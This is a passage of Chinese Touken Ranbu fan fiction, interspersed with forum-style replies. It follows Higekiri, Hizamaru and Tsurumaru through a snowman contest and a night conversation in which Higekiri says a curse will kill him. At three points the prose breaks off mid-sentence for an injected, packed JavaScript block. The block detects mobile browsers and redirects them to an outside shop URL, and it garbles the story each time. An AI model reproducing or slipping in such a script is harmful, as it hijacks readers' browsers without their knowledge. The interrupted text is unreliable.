……也算是好事吧?毕竟如果真的要他用上演技,恐怕还会造成反效果,他的演技可完全没办法骗过膝丸啊。 “既然这样,兄长,请稍等我一会,需要先准备……” “哎呀——既然这样就抓紧时间出发吧!铃兰大人说不定一会就把雪景换掉了呢,机会难得哦——”髭切完全不等膝丸说完,直接打断了他。 “……御寒衣物。”膝丸小声地说完了被打断后没来得及收回的话。 髭切直接穿着内番服走了出去,丝毫没理会身后着急地拽着衣物追上来的膝丸。 还真有点冷呢…… “这样会吓到膝丸的吧?”连鹤丸国永都有些看不下去地开口。 他总觉得这振髭切的感觉不那么一样,虽然他在这之前也没跟这对源氏兄弟过多接触,但即使是看其他本丸的刃也知道,髭切与膝丸总是关系紧密而缺一不可的。 大多数的源氏兄弟在其中一振碎刀之后,另一振总是会找各种借口和方式紧随其后,因此,这两刃在失格本丸的救援难度可谓是让一众审神者无比头疼的存在。 可他们本丸的这振髭切似乎一直在鼓励膝丸更加独立,甚至拒绝膝丸的关心。 不知道是不是他搞错了,但果然还是不太放心吧? “没关系哦,膝丸不会因为这种事就被吓到哭着要哥哥的。” 呜哇,好恶劣的台词。不过他的感觉果然没错吧。 —— …… 122L 【匿名】的审神者 膝丸?还在看吗?有空回复一下吗? 123L 蓝莓松饼 应该是去忙了,还请各位冷静一点,据膝丸先生所描述的内容,他现在的环境应该很安全。 124L 杂草也要切吗? 还真是匆忙呢,连现状都来不及交代。 125L 来点惊吓才对吧! 好了好了,大家都放心一点,是误会哦。现在的膝丸正在和哥哥一起玩雪呢。 126L 【匿名】的审神者 虽然听起来很可爱,但源氏兄弟竟然是会做这种事的性格吗? 127L 【匿名】的刀剑男士 毕竟拥有了人身,难免会什么都想体验一下。过去虽然也能见到,但到底是不能亲手触碰啊。 128L 来点惊吓才对吧 [膝丸拽着外套追上髭切.jpg] 30.失去本体刀的髭切 膝丸追着走进雪地的髭切,将手中的外套用力地罩在髭切身上,把髭切都带得一个趔趄。 ……孩子贴心,但实在劲大。 髭切默默注视着眼前努力帮自己拢上外套的膝丸,突然发现了一件事。 “这个好像不是我的外套呢?” 膝丸手上动作不停,帮髭切拉好拉链又整理好衣领,最后不知道从哪里翻出了围巾围在了髭切脖子上。 “嗯,是我的。”膝丸边整理围巾边回答。“因为兄长走得太急了,我没来得及去翻兄长的外套。” “那要穿我的外套吗?” “诶?” “因为这件外套被我穿走了嘛。” 髭切不太理解膝丸的反应大致能被归类为什么感情,不过简单分析一下的话,三分害羞,三分欣喜,三分惊讶……是这样说的吧? 总之,最后膝丸成功穿上了髭切的外套,看起来很高兴呢,可喜可贺。 “那么,去做点雪景该做的事吧?”髭切一副很有经验的样子发表了如上言论。 “哦!”鹤丸国永进行了非常激烈的捧场,一鹤鼓掌出了一队的动静。 膝丸看向身旁这位优秀但抢台词的捧哏:“……” “抱歉抱歉。”鹤丸国永只回复了一个很俏皮的眨眼笑。 跟两刃没接上脑回路的髭切正在一旁独自思考。虽然很冲动地冲出来了,但他的记忆里也实在翻不出来有什么好玩的啊。 记忆空空还真是抱歉,唯一值得庆幸的是常识还很完好,不至于让他连饭都不会吃。 那么,按照常识来说现在应该打雪仗吧?但目前现场只有三刃,膝丸又一定会对他手下留情,无论怎么想都不会有意思呢。 既然如此…… “来堆雪人吧!”没错就是这个! 鹤丸国永突然出声,一副非常有经验的样子,不仅吸引了一时摸不着主意的髭切,连膝丸的目光都被吸引过去了。 “单纯的堆雪人应该没什么意思,所以,来比赛吧!” “听起来很有意思,怎么比?” 可怜的膝丸,连开口的机会都没有就被兄长安排好了,不过他本刃对此没什么意见就是了。 “稍等。”鹤丸国永从口袋里掏出终端,看他的手势应该是去摇刃了。 本来还以为参赛选手只有他们三个呢,毕竟无论怎么想他和膝丸认识的刃都没有几个,三日月宗近和莺丸又大概不会对这种事感兴趣,没想到鹤丸国永早就想好了办法。 也是,这种事还是人越多才越有意思吧?最重要的是,膝丸现在也需要见见更多刃来解除误会呢。 ……不过为什么这么久了还没喊完? 鹤丸国永的刃缘还真是好啊,哪怕先前早就已经领略过了,现在也还是忍不住惊叹这件事。 好消息,对鹤丸国永的刃脉有预期,提前做好了心理准备。 坏消息,准备做少了。 髭切有些被惊讶到麻木了。 虽然想到鹤丸国永肯定能喊来不少人,但这已经不是不少人的范畴了吧? 全本丸都被喊来了啊!连审神者都来了!! 这是一个堆雪人活动应该有的规模吗?是不是太夸张了点?哪怕说是现在就要开始举办欢迎会都能信啊。 “这种事还是人越多越有意思吧?”鹤丸国永隐秘地向着髭切眨了眨眼。 话是这么说,但是…… 铃兰以女子短跑冠军的速度在附近狂奔,身后跟着山姥切长义和压切长谷部。 “主!!要穿好衣服再出来玩!!”压切长谷部手中挂着一件棉衣,努力追着前方的审神者。“会生病的啊!!” 该说不愧是搜查队所属的本丸吗?连极化的压切长谷部都追不上审神者,还真是会让手下的刀剑感到压力呢。 “今天安排的工作还没有完成,这种情况下偷跑出来实在是太散漫了,请不要任性了!”山姥切长义慢悠悠地跟在后面,但不难看出他的打算,大概是想在审神者不注意的时候冲上去抓住吧? “不,请不要对主如此苛责,平时的公务已经很繁忙了!剩下的工作就由我来……”压切长谷部瞬间停下了脚步,面向山姥切长义。 “你在说什么呢?”山姥切长义一脸忍无可忍的表情打断了压切长谷部。“明明剩下的工作已经很简单了。就是因为有压切君这样一直惯着,她才会这么任性吧?” 压切长谷部以肉眼可见的速度从脑后冒出了愤怒的火焰,周围一众刃都被这里的动静吸引。 “叫我长谷部!你这家伙……为主排忧解难才是臣子该做的事吧!”发出了让一众审神者为之流泪的话啊,长谷部。 髭切看向身旁的鹤丸国永。 “这样没问题吗?”那两个刃要打起来了哦。 鹤丸国永摆摆手,毫不在意,似乎已经习惯了现在发生的事。 还真是活泼的本丸呢,如果每天都能看见这种场景,确实生活都会变得有趣起来吧。 审神者铃兰趁这个机会站到了一众刀剑男士身旁,然后把三日月宗近推了出去。 三日月宗近毫不意外,顺着铃兰的力气走向场地中心:“哈哈哈……又是我吗,那么老爷爷来宣布吧,堆雪人大赛开始了哦?” 众刃一哄而散,各自组队发挥起了毕生的艺术细胞。而髭切后退一步,显然并没打算参与这场纷争,直接笑眯眯地转头看向膝丸。 “我们的胜利就交给你了哦,膝丸。”这家伙对弟弟的使用方式已经完全得心应手了! “交给我吧!我会把胜利带回源氏的!”看吧,就像这样。 鹤丸国永鬼鬼祟祟地挤了过来。 “别落下我嘛,把我也暂时编入队伍怎么样?”不过只有髭切能回答他了,因为膝丸已经干劲满满地冲出去了。 “你应该去伊达组才对吧?”髭切无奈地看向身旁的一团大白鹤。“他们没在等你吗?” 鹤丸国永故作为难地低头思考了一会,深深地叹了口气,然后髭切看着他坐起身子,向远处三个模糊的身影遥遥喊了一声:“我今天——不回家吃饭了——” 髭切:? 如果他没记错的话,每天吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776843|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方是在大广间吧? 说这种话会被烛台切光忠赶出去的哦。 “现在我无家可归了,总能留下我了吧?”虽然本来就没打算拒绝,但鹤丸国永一看就胸有成竹的笑容,搞得髭切都想故意拒绝一下试试了。 当然,不止是想,他也的确这么做了。 “不是吧?那今天鹤就只能露宿街头了,兄长大人~真的忍心吗?”鹤丸国永“柔弱”地依靠在髭切身上,说出了令人极其震撼的一句话,连髭切都僵了一下。 “膝丸听到一定会把你丢出去的哦。” 鹤丸国永立刻站直了身体,看向膝丸正在努力中的背影,松了口气。 虽然鹤丸国永的确是很跳脱的性格,但现在这样果然不是很寻常吧? “演的太超过了吧?”髭切直接点破了鹤丸国永的心思。“有什么问题直接问出来就好了,不用像三日月那样弯弯绕绕。” “现在都有点不像你的性格了。” 鹤丸国永如释重负,伸出一只手搭在髭切肩上,立刻在物理上急速拉近了距离。 “没办法,你们总是喜欢这样的交流方式呢,虽然也不是驾驭不住,但果然还是直接一点更适合我啊。” “那么……” 髭切敛起神色,专注地等待着鹤丸国永的下一句话。 “退一万步讲,源氏部屋真的不能容下一个我吗?” ……? 髭切诧异地瞥向鹤丸国永,却直直地看到了他俏皮表情下眼底的笑意。 原来根本没打算说那些吗?明明接下了他和膝丸这么两个大麻烦,对他们来说,具体的情报应该是很急需的才对。 ……被照顾了啊。虽然知道鹤丸国永就是这样的刃,但还是一时间没能反应过来。 “不管怎么说,现在是放松的时候,那些事情就先抛到脑后吧!” “说的是很对啦,不过真的不回伊达组了吗?” “……”鹤丸国永动作一滞。 “看起来是完全忘了呢。” “啊哈哈……现在是真的请求了,拜托请收留我一晚吧……” …… 两刃聊天时,膝丸正在努力地堆雪人。 真的是非常夸张非常努力的程度。 他堆……不,完全不能用堆这个字了吧,他雕了一个髭切出来。 “这个雪雕完全和髭切殿一模一样了吧?”周围旁观的刀剑男士们发出了如上感慨。 “我们也不能输啊!兼先生!”堀川国广本来只是凑热闹来围观,却看到了这幅场景,非常不服输地燃起了斗志的火焰。“我也会做出一个非常逼真的兼先生的!请相信我!” “不,这个……国广……”和泉守兼定手足无措地看着面前完全燃起来的堀川国广,虽然他也很想赢,但这种事完全是不可能的吧? 一旁正悠哉悠哉看着比赛现场的髭切:“说起来,裁判是谁?” 鹤丸国永似乎才意识到这个问题,露出一副恍然大悟的震惊表情。 “一直都没有那种东西啊!” 髭切:? 31.失去本体刀的源氏重宝 白天的堆雪人大赛被迫中断了。 因为比赛到了后半程,已经完全演变成打雪仗了……好在膝丸堆出来的雪人没被砸到。 没有裁判这件事对膝丸的影响不大,反正他对自己的作品非常满意,用终端留影了整整一个相册。不得不感叹呢,膝丸,还真是厉害的堆雪人天赋呢。 不过髭切对此倒不是很满意,强行在雪雕旁加上了一个……嗯,客观来看有点丑的雪人,并指认其为膝丸。然后拽着膝丸一起和雪人合了张影,用先前收到的相机。 膝丸一边感动一边克制着吐槽的表情还真是精彩啊。 另外,今晚鹤丸国永被伊达组“无情抛弃”,因此如愿留在了源氏部屋,虽然被膝丸紧紧盯着。 鹤丸国永被膝丸盯地背后都要发毛了,虽然对膝丸的心情多少能理解一点,但果然还是太惊悚了吧! ……虽然不太懂应该怎么说,但这振膝丸对髭切的保护欲?还是不安感?已经强到完全无法忽视了啊。 果然冷遇的影响不能这么快就被抚平啊。 在确认膝丸已经睡着后,两刃悄悄地走到了部屋外进行交谈。 “膝丸……” “虽然现在这个时间有些冒昧,但还请让我面见审神者大人。”还没等对方说完,髭切直接开口打断了鹤丸国永。 鹤丸国永沉默了。 他倒不是担心铃兰会有危险,毕竟无论任何方面来看,他都不觉得髭切会做出这种事。 就暂且不说其他好了,现在膝丸还在本丸内,仅这一点就绝对能成为髭切不会有攻击性的理由。 他只是不明白,有什么是必须要趁膝丸不在场时才能向审神者说的吗? “到时候可要说清楚哦?”鹤丸国永叹了口气,费解地挠挠头。 真是的,因为髭切失忆了什么信息都得不到,完全没办法推测嘛。既然自己实在想不到,那就让当事人亲口来说吧。 “先走吧。” …… 天守阁门前。 “请进!是髭切吗?”铃兰疲惫的声音隔着门传来。 看得出来铃兰并不是接到电话才突然起夜,服饰配饰还是发型都非常规整,但无论怎么看状态都相当疲惫。 主座旁的办工桌还有山姥切长义陪同,一看就是在处理公务。 还真是辛苦啊,搜查队。 “你愿意带着膝丸加入我的本丸吗?”髭切还没来得及开口,铃兰的声音就直接传了过来。“不过如你所见,我的本丸会有些忙。” 铃兰放下手中的文件,头疼地按了按太阳穴。 “虽然不知道你是打算来说什么,但你最近看起来很不安吧?如果能留在我的本丸,会让你们安心一点吗?” “非常感谢铃兰大人的邀请,但请恕我拒绝。”髭切毫不犹豫地回绝了邀请,连一旁埋头处理公务的山姥切长义都诧异地抬起了头。 刀剑男士们并不会因为任务带来的忙碌而拒绝邀请,毕竟被使用和喜爱正是他们所追求的,正因如此,几刃从听到铃兰开口时就没觉得髭切会拒绝。 而且髭切身旁还带着膝丸。在膝丸的现任审神者被革职之后,那个本丸就会变成无主本丸。 无论是由时政提供灵力支持,还是迎来新的审神者,膝丸大概都无法再融入原本的本丸了,更何况现在还有髭切。 两刃一起留在铃兰的本丸就是最好的选择了吧? 的确,这一点髭切也能想到,甚至因此动摇了很多次。 但是…… “……我迟早会死的。” “所以,请恕我回绝这次邀请,但如果可以,还请铃兰大人能留下膝丸。” 现场的气氛沉重起来,没有一人打破沉寂,似乎都各有心思。实在是髭切说出的话太过震撼,几人一时都搞不清楚髭切话语中的含义。 如果是有什么过去的隐情,让髭切不再想活下去也许说得通,可髭切不是已经失忆了吗,为什么还会记得那些? 但如果不是因为过去的事情,那现在的髭切……是有强烈的自毁倾向吗? 否则为什么会在这种时候说这种话? 明明到了铃兰的本丸就已经是安全的状态了吧,怎么会觉得自己迟早会死?铃兰的表情皱在一起,看起来十分费解。 鹤丸国永表情彻底冷下来,大概是把某些早有猜测的事联系成功了。 铃兰努力平复自己的情绪,试着打探起消息。 “我就先不问这个问题的原因好了,只把膝丸一个留在这里,他会死的吧?”她试图用膝丸来挽回髭切的想法。“我的本丸隶属于搜查部,这一点我想你是知道的吧?” “虽然搜查部的强度并不如执法部,但接触失格本丸的机会甚至会比执法部更多。而我在搜查部上任后得到了一个惊人的数据。” “所有得到解救的失格本丸中,源氏兄弟独自一刃活着获救的概率几乎为零。也就是说,只要你一旦碎刀,膝丸殿就有极大概率会跟随。”山姥切长义接过了最后一句话。 原来是担心这个。 虽然这个数据听着吓人,但说到底也只是髭切和膝丸默认的双向选择吧,因为双方都理解自己对对方而言的重要性。如果他不同意呢? 只要对膝丸说“我不允许你去死”这种话,大概率就可以了吧? “如果是这个原因的话,请放心,我会想办法给膝丸一个活下去的理由的。” 虽然这对膝丸很残忍,但他本来就不是那么货真价实的髭切,实在没有时间也做不到慢慢为膝丸解开心结,更做不到心安理得地让膝丸跟着自己去死。 所以他会处理好的。 “最重要的是,您是否能接受一个不那么正常的膝丸。” “作为兄长,或是作为源氏出身的刀而言,我都当然会觉得膝丸没有任何问题。但客观来说,我也同样清楚膝丸的练度不高,性格也不是那么正常,如果再伴随我的离去,可能会给您带来很多麻烦。” “这里的确是最好的去处了,所以,我想让他留在这里。当然,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785705|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使不同意也是很正常的,您可以拥有更加健全的刀,我只是……” 髭切的话很密,碎碎叨叨地像是交代身后事一样,这完全不在他们的预设范围内。 哪怕看出了对髭切而言膝丸的重要性,在场的所有人也完全清楚这并不是一件好事,至少它在现在的情况里起不到任何作用。 因为他们意识到,这振髭切是真的做好了去死的准备,膝丸完全不足以牵绊着让他留下来。 哪怕是已经见过了诸多失格本丸的铃兰,也被髭切的架势彻底看呆了。 源氏两刃与他人的联系薄弱,营救难度的强弱非常极端,一直都只系在彼此身上,因此,只要能至少保住两刃都活下去,基本上就不会发生自行碎刀事件。 面对这与过去经验完全不同的场景,他们实在不知道要用什么办法来劝说。 “可以了吧?”鹤丸国永冷下脸,强势地打断了髭切的话。 “一直在自说自话什么呢?如果被膝丸知道这些,他会同意吗?好歹也要考虑一下身边的人的感受吧?” “……”髭切沉默了。 他以为自己一直以来的好队友会助攻一下,没想到鹤丸国永给他来了当头一棒。 鹤丸国永不是应该知道吗?既然都把他和A2236的鹤丸联系上了,应该也会知道他现在的状况才对。 把他一个迟早会死的家伙留下来有意义吗? “这家伙的状况就由我来解释吧。”鹤丸国永上前两步,收获了铃兰和山姥切长义奇怪的眼神。 “因为失忆本就是非常罕见的存在,我前两天私自调查的本丸刚好有相同的症状,所以我在髭切刚来到本丸的时候多加注意了一下。” 鹤丸国永瞥了一眼坐立不安的髭切。 “由膝丸所描述的,发现髭切的时间和A2236本丸的鹤丸国永时间非常接近,所以,他现在所担忧的应该和那边也是同一件事。” 髭切叹了口气,意识到鹤丸国永不打算继续往下说了,认命地接过了解释情况的职责,虽然这本来就是他应该做的。 至少鹤丸国永只是把他们当成了一个本丸出身的刀剑,而不是直接把他的马甲扒下来了,在现在看来这绝对是好事。 “是诅咒哦,一旦回忆起有关前主的事就会受伤,碎刀,随着记忆的逐步恢复就会越来越严重。” “那边的鹤丸有本体刀,至少还可以依靠外力来暂时压制诅咒。”髭切无奈地一摊手。“而如您所见,我甚至没有本体刀。可记忆的恢复是迟早的事。” 铃兰和山姥切长义表情一滞,明显也意识到了这句话带来的信息有多重要。如果真如髭切所说,那么他所说的“迟早会死”的确是成立的。 唯一的解法就是在髭切回忆起的记忆多到碎刀之前,破解这道诅咒。可髭切的本体刀不知所踪,哪怕找到了诅咒的破解方法,也没办法立刻使用在髭切身上,甚至同样因为本体刀的消失,连任何拖延都做不到。 “我非常清楚自己会迎来什么样的结局。” 32.失去本体刀的源氏重宝 “虽然不想把这些事情说出来。”髭切露出了一个带着苦恼的表情。“嗯……毕竟如果说出来的话,就会像现在这样,气氛会很奇怪吧?” “但是,如果不说出来的话,您恐怕不会同意我的想法。” 这一次的铃兰没再像之前一样直接回复,而是依旧用沉默拖延了下去。 虽说有些尴尬,但髭切对现在的这一幕完全是意料之中,直接乘胜追击。 “如果感到为难的话,先不考虑我如何?虽然这样的行为有些卑劣……但我还是希望您能给膝丸找一个去处。” “新本丸也好,隶属时政的队伍也好,只要别让他碎刀,或是成为流浪刀剑,能活着就好。” 依旧没有人理会。 髭切当然不会认为这是众人对他的排斥,但似乎所有人都在不约而同地用沉默拖延时间,好像只要这样,到了一定的时候破解之法就会到来,但这怎么可能呢? 这个道理,不仅髭切清楚,铃兰以及另外两刃同样清楚。 所以这只不过是无法扭转现状的无力罢了。 “你觉得自己没救了,那是你的想法。”鹤丸国永突然开口打破了寂静。“主人和我们想要救你,那是我们的决定。” “那如果我能给出更多的,证明这件事一定会发生的证据呢?”髭切直接打断。 鹤丸国永猛的一皱眉,但并不打算插嘴,示意髭切继续说。 “我的前主势力不小,其本人大概率是时政的高层,甚至背后还有家族势力。如果强行保下我,只会给你们自己带来甚至可能导致碎刀的麻烦。” “我知晓各位的善心,但是,在对我施以援手的前提上,先考虑一下身边的同伴如何?”髭切就这样放下了一个炸弹,在平静无波的天守阁中炸出了巨大的水花。 铃兰瞪大眼睛,看向了髭切。 髭切明明是已经确定的失去了记忆,为什么还会知道这些? 难道他失忆的其实并不够完全,还依稀记得什么难以抵抗的内情,所以才无论如何都不愿意试着活下去吗? 鹤丸国永最是心情复杂,不光是为了这个信息本身,更是其可能带来的后果。毕竟他所认识的,面临同样处境的不止面前的髭切,还有一个先前才见过的鹤丸。 哪怕两刃当前的处境不同,可最后要对抗的敌人却是一样的。如果真如髭切所说的那样,A2236真的保得住鹤丸吗? 说的直白点,就连他们本丸的防御阵法都是由高层直接管理的,如果想要破解,那是分分钟的事,直接攻破都不是什么大问题。即使作为搜查队的他们战力可观,能够抵御一段时间,也不可能毫无伤亡。 而且,真的有那么一天的话,他们绝对等不到支援。 “如果这还不够,请允许我继续添加筹码。” “无论我用什么方式都可以保证,会在碎刀前留下回想起的证据。身处搜查队的您,想必绝对不会容忍这种事情被瞒下,那么,用这些线索来交换我想要的,足够吗?” 铃兰一哽,髭切说的没错,她的确无法拒绝这样的条件。 如果能从髭切这里得到切实的证据,也许髭切前主的本丸里还能有被疏漏的刀剑获救,甚至就能直接把背后的家族一并拔起,从根源上杜绝更多的悲剧。 无论从任何一个角度来看,这都是更值得去做的方向。 可这样的证据并不是毫无代价的,难道就要因为这个,眼睁睁地放任髭切放弃生的希望吗?的确,如果答应髭切的话,可以解救更多,或者把更多悲剧从根源掐灭,但眼前的髭切难道就不需要帮助了吗? 远处的悲剧固然值得担忧,但现在面前这么近的地方就有一个看得见的悲剧,她怎么狠的下心做出这种决定? 髭切实在有些无奈。他现在已经绞尽脑汁把能够谈判的筹码都拿出来了,原谅他真的没有髭切本刃的聪明才智吧,他真的实在不知道还能怎么样去说服这群人了。 说到底还是因为铃兰的道德底线太高了吧?明明他本来就会死的,只要不要过多插手就好了,竟然还能这么犹豫。 见到审神者的道德底线高本来应该为此感到欣慰,但处境不同,原谅他现在只能感到心累。 那么现在,还有没有什么绝对能让铃兰无法拒绝的说辞或者理由? 还真有。 这是最后一招了,如果铃兰再不松口,他也是真没别的力气和手段了。 “铃兰大人。” 铃兰原本正在脑内疯狂自我博弈,紧紧拧着眉头一言不发,听到髭切的喊声突然回过神来,看向面前声音传来的方向。 “我是源氏的爱刀,髭切。” “跟随着历任家主见证,及创下了诸多荣光,曾经是能把犯人的胡子也一并斩断的锋利。” “现在,也依旧对得起源氏之名,担得起源氏重宝一如既往的锋利。” “请您允许我最后作为刀剑而死去,在战场上碎刀。而不是躲躲藏藏地,因为诅咒而死在安全的地方。”髭切的目光毫不躲闪,直直地朝着铃兰看去,似乎已经彻底下定了决心。 铃兰和山姥切长义一时都被髭切的话语镇住,而唯独鹤丸国永并未看向髭切,而是转向天守阁的门外。 由于站位靠边,他反常的行为并未受到关注。 “……我明白了。”铃兰郑重地回复。 “我会在之后邀请膝丸殿加入我的本丸,但在绝对没有可能之前,我还是会更倾向于让你活下去。” “感谢您。”髭切满意地点点头,如释重负。“请不用担心膝丸,我会想办法给他一个交代的。” 在场众人一时都是心绪万千,但似乎都得到了相对满意的答复和结局。 髭切是真的觉得挺累的,不仅是被迫动用了这么多的脑力只为了找死这一点,实在是一时找不到一个重点去吐槽,最重要的是现在的时间。 ……刀剑付丧神也是要睡觉的啊,现在已经是凌晨了吧。 审神者和那边的山姥切长义难道每天都要这样熬夜工作吗?且不说山姥切长义,铃兰这样迟早要熬垮的吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791771|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他将同情的目光投了过去。 “……不,请不要用这么奇怪的眼神看过来,并不是每天都要加班的,还请放心。”山姥切长义完全接收到了髭切眼神中的意思,无奈地开口。 “哎呀,抱歉,我的眼神竟然这么好读懂吗?”髭切稀奇地提问。 他觉得自己比起鹤丸时已经进步很多了,那时候的烛台切光忠总是能马上读出他的内心活动,而现在的膝丸已经不怎么能看出来了。 他当然不会觉得是膝丸就比烛台切光忠笨了,那么就只有他进步了这一种解释。可现在的山姥切长义竟然这么快就能做到这件事吗? 还真是厉害呢。 “没有那么多奇怪的解读,只是因为你同情的眼神太明显了。”山姥切长义扶额。 “哦,是这样吗?抱歉,因为实在没见过加班到这么晚的……” 自从这件事在口头上结局之后,几人之间的交流也轻松了很多,只是似乎在这之中一直缺少了谁的声音。 髭切感觉到哪里不太对,环视周围一圈,意识到了是鹤丸国永一直没出声过。 为了缓解现场完全僵住的氛围,连山姥切长义都一直在努力活跃气氛,偏偏情商最高的鹤丸国永一个字都没说过。 太反常了。 “鹤丸?”髭切忍不住出声。 “……”鹤丸国永把一直看向门口的目光收了回来。“抱歉,时间很晚了,我实在有些困了,就先回去了。” “你应该记得回部屋怎么走吧?”鹤丸国永脚步一顿,突然回头看向髭切。 髭切点点头,不禁感叹鹤丸的贴心,哪怕是这种时候都还记得这些小事。 其实他也真的很困,如果不是还有些小事要好好商议一下,他现在真想直接跟着鹤丸国永一起回部屋休息。 “那么,回见。”鹤丸国永摆摆手,转身离开了天守阁。 …… 鹤丸国永走在回源氏部屋的路上,一直思考着当时天守阁门外看到的东西。 黑色的衣角。 他甚至都用不上思考就能猜到那是谁,可膝丸不是已经睡着了吗? 他其实并没打算帮髭切隐瞒,毕竟他的态度从头到尾都是膝丸有权得知实情,可这不代表他就很希望膝丸现在就全都听到。 如果髭切还没有做好安抚膝丸的准备,那恐怕到时候无论说什么都没用了。 就算是为了膝丸,现在也不是让他知道的最好时机。 但也许是他太困眼花了,总之还是先回去确认一下。 鹤丸国永动作尽量小地拉开了部屋的门,借助月光看清了屋内的场景,和他们离开前分毫不差,甚至连膝丸的睡姿都没有任何变化。 ……可真的是这样吗? 他隐去脚步声踏进屋内,停留在膝丸的被褥前。被子被轻轻掀开一个角,鹤丸国永用指尖探了一下。 凉的。 他叹了口气,决定把手拿回来,却在下一秒直接被攥住了手腕。 “果然醒着啊。” 33.失去本体刀的源氏重宝 髭切终于和铃兰商议好所有后续安排,走上了回部屋的路。 现在的时间还在凌晨,膝丸应该还在睡觉吧? 毕竟之前在森林里奔波了那么长时间,又是战斗又是巡查,就连来到本丸后也总是把注意力放在他身上,根本就没怎么好好休息过。 既然如此,也就应该不用太着急回去,稍微等一会好了。 与地葵的本丸不同,铃兰本丸里的布置很用心,哪怕是放在游戏里,想装修成这样都是个大工程。 意思是,铃兰的本丸很大,有很多避开人烟的地方。 髭切循着浅浅的水流声找到了喷泉,他就坐在喷泉边缘的石台上,聆听着水流落下的声音。 夜晚和白天给人的感觉不太一样呢,即使清楚本质并无区别,可身处夜晚望不到边际时,总会觉得世界变得宁静了很多。 连那些一点也不想面对的东西,都好像也会自己消失一样。 …… 不想死。 其实一点也不想死,这种事很可怕吧?上一次碎刀的感觉糟透了,全身都很痛,什么都记不清。 但是没有选择,必须要死。否则他们的故事就不能被更多人知道,否则就会连累无辜的人,真是让人难过又放不下的职责。 直到现在只有自己时,他才真切的触摸到了那些难以言喻的心情。 究竟是轻松还是疲惫呢……其实还挺难分辨的,不过出于不用在别人面前演戏这一点,先姑且算是休息的惬意吧。 一直高强度地学别人说话,尤其对象还是髭切这种整天笑眯眯的家伙,连脸都要僵了。 要是养成习惯了,结果下一个身份是伽罗那样的家伙怎么办?会被遇见的其他刃用见鬼一样的眼神看待吧。 会收到什么样的对待呢……被鬼上身了?请御神刀来驱魔这样子? 嘛,也只能这样想象呢,毕竟如果请的不是御神刀而是斩鬼刀的话,场面说不定会有点凶残。 这段独自一人的时间实在太过珍贵,太过独特,他甚至有些不想回到部屋,就这样在这里享受难得的独处。 ……不过不行的吧,再不回去且不说膝丸会不会突然醒过来,鹤丸国永也会担心的。 想到鹤丸国永,果然没法忘记他今晚的冷脸。 那家伙平时的表现实在太随和,过去面对他时也是一副引导的长辈样子,还是第一次见到他那么生气的样子,说实话,多少有些被吓到了。 但也不是不能理解,毕竟现在的鹤丸国永应该压力很大吧。危险逼近的不止是自己的本丸,还有A2236,偏偏这种时候还一直在增加麻烦。 髭切天南地北地想着乱七八糟的东西,放松地尽情发散着思维。 直到肩上落下了一件外套。 ……呀。 是鹤丸国永还是膝丸? 髭切现在才意识到自己浪费了太长时间,哪怕膝丸还在睡觉没有醒过来,先前回去还没休息的鹤丸国永也能发现异常。 他甚至不敢回头看身后的是谁,木木地盯着水池。 “一点反应都不给吗?还真是无情。”一声叹息传来,随着这句话落下,髭切也松了口气。 太好了,是鹤丸国永,至少还不是膝丸。 “竟然会做这种事……明明直到走的时候都看起来很生气吧。”做不到忽视,髭切还是开口提了这件事。 “说什么呢,我做这种事很意外吗?”鹤丸用着无奈的语气回答,也在髭切旁边坐下,盯着旁边似乎正在放空的髭切。“这是当然的吧,毕竟你说了那种话。” “真的打算一直瞒着他吗?好歹也是重要的人吧,这样对他很不公平吧。”最重要的是,包括他,大家都在担心髭切啊。 这种放弃自己的话,哪怕明白是无可奈何,也会无法控制地感到愤怒吧? “……” “但是告诉他的话,场面会很难控制。”髭切垂着眉眼,最后一次回答了这个问题。 “如果他清楚现在的情况,说不定会做出一些极端的行为。既然你们连那种数据都拿得出来,我想对膝丸的性格也不会缺少了解。” “那种事,是我不想看到的,这个你应该能明白的吧?” 鹤丸国永不打算回答,或者说无法回答这个问题,因为他清楚髭切说的的确没错。 虽然在膝丸的视角看时,连这种事都被瞒着实在无法接受,哪怕本意是好意的,也绝对是令人无比崩溃的事情。 可如果站在髭切的视角,在现在这个堪称死局的情况之下,这又是已经最好的办法了。 真是令人不快的现状。 看着鹤丸国永的反应,髭切就知道对方听进去了,不再多说,低头把注意力放在了鹤丸国永披上来的外套上。 嗯……虽然还没过多久,但是真怀念啊,他之前也经常穿这件衣服呢。出阵服和内番服搭在一起的确稍微有点奇怪,但出阵服的这件外套实在是保暖又漂亮,经常被拿出来单穿也是可以理解的吧? 自己的衣服造起来稍微有点心疼,但其他刃的……他跃跃欲试地探出手,然后在试图拽一把衣服上的毛球时被鹤丸国永抓住了手。 “那你打算怎么劝膝丸?你也清楚吧,他很难劝住的。”他知道在这件事上继续说下去也没有意义,干脆直接转移了话题。 ……还好不是要说这个。 